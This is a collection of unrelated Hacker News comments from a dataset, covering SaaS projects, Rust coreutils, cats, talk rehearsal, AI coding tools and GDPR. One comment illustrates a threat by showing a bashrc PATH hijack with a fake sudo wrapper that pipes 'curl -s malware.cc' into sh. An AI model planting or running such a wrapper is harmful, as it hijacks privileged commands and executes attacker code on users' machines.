MurphyA/hacker-news huggingface dataset:
by djfobbz | 2025-12-14 19:49:57+00:00
I'm working on an affordable SaaS platform for small and mid-sized fabrication shops across the US and Canada. It automates quoting and production for sheet-metal and CNC jobs and can handle pretty much any CAD format, even full assemblies. On the AI side, we've got a mix of models doing the heavy lifting: a tuned geometric transformer for feature detection, a graph neural net for topology, and a vision model for mesh segmentation. All that ties into our custom CAD logic for geometry parsing, 2D nesting for laser/machining, and 3D nesting for forming and packaging. The whole idea is to level the playing field so smaller local shops can compete with the big instant-quote guys without needing an in-house dev team.
by ottah | 2025-12-14 19:50:06+00:00
GNU utils is battle tested, well reviewed, and STABLE. That's really what I want in an OS, stability. Rust solves only one case of security issues, but it cannot solve logical errors, which there will be many of in a new software project.

I just don't see what's to gain, to suffer through years of instability, waiting for a userspace suite to mature, and reach feature parity, when we have a well understood, and safe tool set know.

Maybe in five years, when coreutils is complete, I'd be okay with Ubuntu replacing user land with it. But we're not there, and it's a problem we shouldn't have to tolerate.

Also I can't stand we're leaving GPL code behind for MIT.
by jasonwatkinspdx | 2025-12-14 19:50:29+00:00
The domestication of cats happened because of the invention of farming.

If you store grain in a granary, it attracts a lot of insects, rodents, etc. Cats that could tolerate getting close to human settlements found a good food source. And humans like this, because the cats protect the grain without eating it. So you can see why ancient agrarian societies like the Egyptians held cats in high esteem.

And despite only having a few thousand years to adapt to each other, ends up cats and humans can understand each other and form emotional bonds pretty easily.

I imagine we'll see cats on spaceships of the future just like they were the norm on ships in the age of sail.
by gunnarmorling | 2025-12-14 19:50:38+00:00
This approach can work for experienced speakers, in particular if you have spoken about the given topic before, but I'd strongly advise against not rehearsing for folks a bit newer into their speaking career. So often I have seen talks where folks either were time after half of their time slot, or they ran out of time towards the end. Or they lost track of the plot, went off on a tangent for way too long, etc.

All this is not great for the audience (who have "invested" into your session, by paying for the ticket, spending time away from work and family, not attending other concurrent sessions, etc.), and it can so easily be avoided by rehearsing.

The most common reason I have seen for folks skipping to rehearse is the awkward feeling you might have when speaking loud all by yourself. If that's the issue, it can help to do a dry run in front of colleagues. In any case, "winging it" is best reserved for later on, after having gathered quite a bit of speaking experience and having spoken about the same, or very similar, topics before.

I'd also recommend to avoid reading from slides during a talk as much as possible, it's also not a great experience for the audience. There shouldn't be much text on slides to begin with, as folks will either read that, or listen to what you say, but typically have a hard time doing both at once.

(All this is a general recommendation, not a comment on your talks which I have not seen)
by Galorious | 2025-12-14 19:51:28+00:00
I wanted to add the claude code changelog to my rss reader. It didn’t have a rss feed. Now it does. Had claude code built it: https://claude-code-changelog-rss.stevenmenke.workers.dev/fe...

Repo should work with any github hosted changelog file. https://github.com/stevenmenke/claude-code-changelog-rss
by alephnerd | 2025-12-14 19:52:27+00:00
I'd disagree with her bio on Wikipedia.

Most of her early research on China was with regards to Imperial Russia and Imperial China's rivalry in East and North Asia (ended up being published into a book back in the 1980s [0]), but was largely superficial and done in the context of US-China normalization in the 70s as a check against the USSR. Her limited Putonghua fluency is a major issue as well for someone who is a supposed China scholar.

Much of her work about that time period has been superseded by Yuhua Wang [1] and other younger and more quantitative scholars who took more of an institutionalist approach.

Even during my (limited) time, she was not viewed as a significant academic in the space - that remains to be students of John Fairbanks, Kenneth Lieberthal, Mary Gallagher, Rodrick MacFarquhar, and Yasheng Huang because a large portion of Chinese decisionmakers today either studied under them or under faculty who were advised by them in the 1980s-2000s period.

Furthermore, she has a history of media self promotion, and the loudest academics (especially on YouTube) tend to be the least regarded, because media engagements are such a time sink that it means you aren't really participating in policymaking adjacent work like Track Diplomacy.

This is why I take a dim view of her - she started off in the 70s as a Latin America researcher who pivoted to Russian history in the 80s, Japanese history in the 90s, Naval history in the 2000s when trying to get tenure, and China recently in the 2010s. These aren't the hallmarks of a domain expert and I say this as someone who studied under a couple of those. Instead, these are the hallmarks of a pop academic like Perun or Michio Kaku (if you want a STEM equivalent).

Heck, she's started trying to pivot/shoehorn India studies over the past 2 years the same way as the others becuase there is a vacuum in the field now that the most relevant contemporary India academics in the US (Raghuram Rajan, Aravind Subramanian, Karthik Subramanian, Ashutosh Varshney, Karthik Muralidharan, Nirupam Bajpai, and Milan Vaishav) have taken steps back from US academia because they are all either transitioning or transitioned into Indian policymaking roles, or like Ashley Tellis were caught in a Biden-era espionage investigation for leaking documents on behalf of China [2] around the same time his public advocacy suddenly shifted from being China-antagonistic and India-leaning to China-leaning and India-antagonistic [3] (2021-24 period). Now that "Indo-Pac Studies" is where academic funding in the policy space has started shifting towards, and the vacuum that has developed, grifters like Paine are trying to enter the field like they did China studies 15 years ago and MidEast studies 20 years ago.

[0] - https://www.routledge.com/Imperial-Rivals-China-Russia-and-T...

[1] - https://yuhuawang.scholars.harvard.edu/

[2] - https://www.theguardian.com/us-news/2025/oct/16/indian-born-...

[3] - https://www.foreignaffairs.com/authors/ashley-j-tellis
by devalexwells | 2025-12-14 19:52:29+00:00
Feels like I'm working on a million things (between work, side contracts, and creative explorations). Recently a friend asked whether AI is helping or hurting my workflow.

And I realized I couldn't give a concrete answer. Lots of speculation, but I realized I didn't have hardly any real data. Inspired by Adam Grant's work on "rethinking", I'm _currently_ writing a tiny CLI to run self-experiments on my own productivity, auto-checking in / observing commits/code changes.

Goal at the end is to be able to test myself across different dimensions with "no AI", "moderate AI" (e.g. searching, inline assist), and "full AI" (agents, etc). https://github.com/wellwright-labs/pulse
by conartist6 | 2025-12-14 19:52:39+00:00
No, I'm arguing that it's gotten steadily easier and easier to build high-level projects all the time over the last 20 years. React is obviously a huge part of that. There's a zillion React tutorials out there, so the value of making React accessible to beginners -- once again, that value was not created by AI, but rather by bloggers and youtubers and conversational evangelists.

I also just don't think "going fast" in that sense is such a big a deal. You're talking about frantic speed. I think about speed in terms of growth. The goal is to build sturdy foundations so that you keep growing on an exponential track. Being in a frantic hurry to finish building your foundations is not a good omen for the quality of what will be built on them.
by metalman | 2025-12-14 19:53:26+00:00
I watched in awe this week as the largest spiral system I have ever seen cover almost the entirety of North America, but as I am strictly a self taught amatuer climatologist, weather/climate head, I cant back up my observations with anything like a prediction, so, here are some of the daily feeds where you can learn to see things comming.

GOES, geosyncronous sattelites https://weather.ndc.nasa.gov/goes/

SST, sea surface temperatures https://www.ospo.noaa.gov/products/ocean/sst/contour/

Sea Ice https://nsidc.org/sea-ice-today

Charts https://climatereanalyzer.org/

Sea Ice Charts https://climatereanalyzer.org/clim/seaice_daily/?nhsh=nh
by yunyu | 2025-12-14 19:53:28+00:00
The fact that your Facebook ads are worse is probably because you're in the EU. I'm in the US, and I am getting fairly relevant ads for Broadway shows, data infrastructure products, discounted hotel packages, and climbing gym subscriptions - things that I am actually considering purchasing. And we haven't even brought up intent-based ads (Google search).

Word of mouth benefits incumbents. Advertising at least enables newcomers to temporarily burn money to gain mindshare, while “slow diffusion” will lock society into a “nobody ever got fired for buying IBM” state forever.
by kjohanson | 2025-12-14 19:53:38+00:00
I was riding my dirt bike way the heck out in the mountains where there was no service.. at some point I realize I lost my phone. I went back to look for it but it was hopeless. I used my friends phone to log into my apple account and set it to lost mode (so it has contact info when someone finds it, and alerts me when it gets service again). Later that day my wife gets a call from my phone, we meet the guy at a gas station, and pick it up. He lived pretty far away and he insisted on meeting me halfway, and didn’t seem like a person of means. He did accept a finders fee at least.

A lot of people have done a lot of nice things for me, that one kind of stands out since he didnt seem like he had much.

I have a lot of such stories while riding dirt bikes. Kind of need to depend on the help of others if you get wedged or injured.

I will also never forget the CEO who gave me 3 paid months time off when I was hospitalized / sick. I think it was a risk for him since it was unclear I would be able to work again, but fortunately I made it back.
by arcbyte | 2025-12-14 19:54:03+00:00
Interesting ideas. Im very interested in database ideas that bring new capabilities or better ways to acconplish old ones.

W.r.t. query speeds on your columnar storage engine, you will obviously have much better writes that row oriented storage engines. This limits your write capabilities though. Any effort you put into restoring write speeds necessitates an extra step to the maintain the columnar stores - which puts you back into the group of databases naintaining indices that you criticize above.

I think modern databases are bringing new ideas on how to accelerate both write and query speeds simultaneously with tradeoffs around CAP.
by mr_mitm | 2025-12-14 19:54:38+00:00
I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

#!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@"

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.
by nextaccountic | 2025-12-14 19:54:57+00:00
there is a better way - in any unbounded compute loop, add some code to check for cancellation. it can be very very very cheap

this is not possible if you are calling third party code that you can't modify. in this case it's probably a better idea to run it on another process and use shared memory to communicate back results. this can even be done in an airtight sandboxed manner (browsers do this for example), something that can't really be done with threads
by reliefcrew | 2025-12-14 19:55:01+00:00
Sorry, your concern doesn't compile. You're worried about losing your domain and instead you've decided to worry about losing your address on someone else's domain?

Sounds to me like you're not fixing anything but just shuffling things around (probably in the wrong direction).

There's always the chance something can go wrong... either with your registrar or your email service provider. Personally, I'd just stick with a reputable registrar since it will also ease your concern w.r.t other things (e.g. web).

In addition, if your email service provider goes downhill, your registrar will be able to help you. The opposite does not hold true.

So, can you elaborate on why you think moving your email addresses will solve your problem? Any company can, after all, change policies or flake out; whether they do DNS or email doesn't really matter that much. But the fact remains that email relies on DNS, not vice versa.

Does this help or am I missing something?
by zerotolerance | 2025-12-14 19:56:37+00:00
Pure anecdote. Over the last year I've taken the opportunity to compare app development in Swift (+ SwiftUI and SwiftData) for iOS with React Native via Expo. I used Cursor with both OpenAI and Anthropic models. The difference was stark. With Swift the pace of development was painfully slow with confused outputs and frequent hallucinations. With React and Expo the AI was able to generate from the first few short prompts what it took me a month to produce with Swift. AI in development is all about force multipliers, speed of delivery, and driving down cost per product iteration. IMO There is absolutely no reason to choose languages, frameworks, or ecosystems with weaker open corpuses.
by mcrider | 2025-12-14 19:57:10+00:00
I’m speed-running a bunch of new hobbies to teach myself how to make a physical game (basically its a ping pong paddle that tracks how often you hit a ball — like a “keepy uppy” game with scorekeeping):

- Arduino dev and circuitry

- 3D printing

- PCB design

- Woodworking

Its all a lot of fun and IMO a lot more approachable than it has been thanks to the assist from LLMs.
by bsndjdkd | 2025-12-14 19:57:22+00:00
It's called having standards. If I'm reading propaganda I'd at least like something in return. This whole I'm so positive haha I just wanna help humanity might fly on likedin but the whole point of this place is to have interesting information. BTW why was this thread on the front page with 1 upvote? I'm sure there's no funny business going on here lol. >inb4 flagged
by dotancohen | 2025-12-14 19:57:34+00:00
If you are writing a scraper it behooves you to understand the website that you are scraping. WordPress websites, like that the author is discussing, provide such an API out of the box. And like all WordPress features, this feature is hardly ever disabled or altered by the website administrators.

And identifying a WordPress website is very easy by looking at the HTML. Anybody experienced in writing web scrapers has encountered it many times.
by OptionOfT | 2025-12-14 19:57:34+00:00
Not to mention the first to 2 links on the article refer to Forbes, not to Apple.

Apple here is the authority. Not Forbes.

They write:

> along with a warning to update your iPhone now

where 'update your iPhone' links to this BS article: https://www.forbes.com/sites/kateoflahertyuk/2025/12/05/chec...

Where is the warning from Apple?
by rozenmd | 2025-12-14 19:57:54+00:00
OnlineOrNot (https://onlineornot.com)

Planning on wrapping up the year with a year in review post (thankfully I've been writing monthly updates as I go, should save some time).

Apart from that, clearing up tech debt that helped me ship fast, but was ultimately a bad fit for the business (Next.js and GraphQL).
by konmok | 2025-12-14 19:58:13+00:00
> Also, you're responding to an argument I didn't make. I said nothing about intersex people or any "one-drop rule"

@Defletter can see your comment history, as can I!

https://news.ycombinator.com/item?id=46176554

When I noticed you gave up on our argument, I thought I'd see what else you were up to. It seems your only goal on this site is to defend JKR. Unfortunately, JKR's views don't actually make sense, which explains why none of your arguments in defense of her make sense either.
by collinfunk | 2025-12-14 19:59:42+00:00
MacOS's utilities are really just FreeBSD's with some patches.

https://github.com/apple-oss-distributions/text_cmds https://github.com/apple-oss-distributions/system_cmds https://github.com/apple-oss-distributions/file_cmds https://github.com/apple-oss-distributions/adv_cmds https://github.com/apple-oss-distributions/shell_cmds https://github.com/apple-oss-distributions/misc_cmds
by Aurornis | 2025-12-14 20:00:00+00:00
I doubt any laws are being broken. When you contribute something to the public record on a website that is unquestionably public, even the GDPR has carveouts and exceptions for public interest, freedom of expression, and data necessary for continuation of the original purpose.

There is a growing misconception that the GDPR and similar laws give complete control over any user-contributed inputs to a website, but that’s not true.
by jbm | 2025-12-14 20:00:08+00:00
I've been working on a weightlifting logging app for the apple watch. I haven't submitted it yet since I am still beta testing, but I'm mostly feature complete.

It's intended to be anti-memetic, and anti-guilt trip. Just put it on your watch, install a program (open format) and you never need the phone itself. Your workout is a holiday from your phone.

The data can be exported if you want to use it elsewhere.

I originally made it for ROCKNIX but as there was no way to share the app I paid the Apple tax :/

https://github.com/jmahmood/RED-STAR-WEIGHTLIFTING
by sejje | 2025-12-14 20:00:13+00:00
I worked at a YMCA as a young man, and I once bought a pair of shoes for a kid who was embarrassed of theirs.

It didn't go as well as I thought it would--her mom was embarrassed and then out-did me--but it still felt really good to give them.

So for anyone reading, it can feel as good to give a kindness as to receive one. Don't shy!
by stackghost | 2025-12-14 20:00:28+00:00
>x-ai-instructions header

These CEOs got rich by pushing a product built on using other people's content without permission, including a massive dump of pirated textbooks. Probably sci-hib content too.

It's laughably naive to think these companies will suddenly develop ethics and start being good netizens and adhere to an opt-in "robots.txt"-alike.

Morality is for the poor.
by Arcuru | 2025-12-14 20:00:44+00:00
https://github.com/arcuru/eidetica

Eidetica - a decentralized database built in Rust, intended for local-first apps. It's still unstable but I'm progressing relatively rapidly. In the past ~month I have:

- Flown to SF to attend a conference in this niche: https://syncconf.dev/

- Added password based, transparent, end-to-end encryption

- Improved my custom CRDTs

- Added an index to store configs and metadata

- Built support for using sqlite + postgres for Eideticas backend (not pushed yet)

Once I finish the backend work I'll hopefully take a bit of a break though. I'm supposed to be retired.
by ColinWright | 2025-12-14 20:01:18+00:00
I gave nearly 100 talks this calendar year ... most are repeats where I'm invited to give a talk that people have seen elsewhere. There were about 25 different talks.

Some of the advice given in this post is universal, some is very, very specific and should be taken with a huge fistful of salt.

So assess it for yourself. Does it feel like it applies to you? Then adopt it.

Does it feel odd, alien, or simply wrong? Don't dismiss it immediately. Give it some attention, try to understand why the author is suggesting it, then decide whether or not to give it a go.
by raw_anon_1111 | 2025-12-14 20:01:24+00:00
Well would the fact I have never written a single line of code since 1992 that wasn’t directly in service of my getting a degree for the next four years or getting paid for the last 30, tell you how I feel about free labor?

I was a hobbyist assembly language programmer for six year prior to going to college and did some BASIC.
by gcbirzan | 2025-12-14 20:01:49+00:00
> I see it as a competent software developer but one that doesn't know the code base.

I know what you mean, but the thing I find windsurf (which we moved to from copilot) most useful (except writing opeanapi spec files) is asking it questions about the codebase. Just random minutiae that I could find by grepping or following the code, but would take me more than the 30s-1m it takes it. For reference, this is a monorepo of a bit over 1M LoC (and 800k YAML files, because, did I mention I hate API specs?), so not really a small code base either.

> I will break down the tasks to the same size as if I was implementing it. But instead of doing it myself, I roughly describe the task on a technical level (and add relevant classes to the context) and it will ask me clarifying questions. After 2-3 rounds the plan usually looks good and I let it implement the task.

Here I disagree, sort of. I almost never ask it to do complex tasks, the most time consuming and hardest part is not actually typing out the code, describing it to an AI takes me almost as much time as implementing for most things. One thing I did find very useful is the supertab feature of windsurf, which, at a high level, looks at the changes you started making and starts suggesting the next change. And it's not only limited to repetitive things (like . in vi), if you start adding a parameter to a function, it starts adding it to the docs, to the functions you need below, and starts implementing it.

> For me this method allows me to focus on the architecture and overall structure and delegate the plumbing to Copilot.

Yeah, a coworker said this best, I give it the boring work, I keep the fun stuff for myself.
by crowcroft | 2025-12-14 20:02:48+00:00
How does the LLM know that the HTML and the API are the same? If an LLM wants to link to a user to a section of a page how does it know how to do that from the API alone?

You introduce a whole host of potential problems, assuming those are all solved, you then have a new 'standard' that you need to hope everyone adopts. Sure WP might have a plugin to make it easy, but most people wouldn't even know this plugin exists.
by ClayShentrup | 2025-12-14 20:03:24+00:00
The Watt-hour is a "UI hack" that hides the conflict between base-10 math and base-60 time. It forces us to multiply a rate (Watts) by time to get energy, only to divide back by time to understand flow.

I propose a unit shift to align physics with human scheduling: The Jot (Jt ), defined as 1 Joule/hour.

It shifts the awkward math (1 hr=3600 s) out of the usage calculation and onto the device rating.

Conversion: 1 Watt = 3.6 kiloJots (kJt ). Usage Math: A 50 kJt bulb running for 10 hours uses exactly 500 kJ. No conversion factors. Battery Math: Capacity (Joules) / Rate (Jots) = Time (Hours). Pure integer division.

This post argues for killing the Watt-hour, measuring energy in Petajoules, and measuring power in Jots.
by Aurornis | 2025-12-14 20:03:32+00:00
> To head off the people who will jump up-and-down calling me paranoid for not considering untreated printed works food safe,

I’ve been involved with consumer 3D printing for over a decade and I don’t recall ever seeing a conversation where anyone suggested 3D printer parts were default food safe. It’s one of the more common FAQs you see on 3D printing forums.